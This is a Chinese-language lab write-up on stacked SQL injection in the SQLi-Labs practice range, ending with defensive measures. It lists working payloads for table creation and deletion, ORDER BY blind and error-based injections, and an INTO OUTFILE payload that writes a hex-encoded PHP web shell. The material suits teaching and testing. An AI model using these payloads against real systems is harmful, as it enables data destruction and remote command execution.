SQLi_Labs靶场之Stacked Injections学习分享
字数 1005 2025-08-24 20:49:31
SQL注入进阶:Stacked Injections(堆叠注入)深度解析
一、堆叠注入基础概念
堆叠注入(Stacked Injections)是一种高级SQL注入技术,允许攻击者在一次注入中执行多条SQL语句。与普通注入不同,堆叠注入通过分号(;)分隔语句,可以执行创建表、删除数据、修改权限等更危险的操作。
关键特征
- 使用分号
;分隔多条SQL语句 - 后端使用支持多语句查询的数据库接口(如PHP的
mysqli_multi_query()) - 每条语句都会按顺序执行
二、SQLi-Labs靶场中的堆叠注入实践
Less-39到Less-45:基础堆叠注入
这些关卡展示了在不同注入点(数字型、字符型)使用堆叠注入的方法:
数字型注入(Less-39, 41)
1;create table test39 like users;#
字符型注入(Less-40)
1');create table test40 like users;#
登录表单注入(Less-42到Less-45)
login_user=1&login_password=1';create table test42 like users;#&mysubmit=Login
关键点
- 分号
;用于分隔语句 #或--用于注释后续代码- 可以通过
information_schema.tables验证注入是否成功
三、ORDER BY注入技术(Less-46到Less-49)
这些关卡展示了在ORDER BY子句中的注入技术,包括布尔盲注、时间盲注和报错注入。
常用技术
-
布尔盲注:
?sort=rand(ascii(left(database(),1))=115) -
时间盲注:
?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5)) -
报错注入:
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1) -
条件语句:
?sort=(case when (1=1) then username else password end)
高级技巧
- 使用
ifnull()、rand()等函数绕过过滤 - 通过
benchmark()或sleep()实现时间延迟 - 利用
updatexml()和extractvalue()进行报错注入
四、堆叠注入高级应用(Less-50到Less-53)
这些关卡展示了堆叠注入的更多应用场景:
数据表操作
1;create table test50 like users;#
1;drop table test50;#
文件操作
id=1 into outfile "/var/www/html/shell.php" lines terminated by 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e
五、防御措施
- 使用预处理语句(Prepared Statements)
- 禁用多语句查询(如PHP中避免使用
mysqli_multi_query()) - 严格过滤输入,特别是分号
;等特殊字符 - 最小权限原则,数据库用户只授予必要权限
- 错误信息处理,避免泄露敏感信息
六、总结
堆叠注入是一种危险的SQL注入技术,允许攻击者执行任意SQL语句。通过SQLi-Labs靶场的实践,我们学习了:
- 基础堆叠注入语法和使用场景
- ORDER BY子句中的多种注入技术
- 高级应用如文件写入和系统命令执行
- 相应的防御措施
理解这些技术对于安全研究和防御策略制定都至关重要。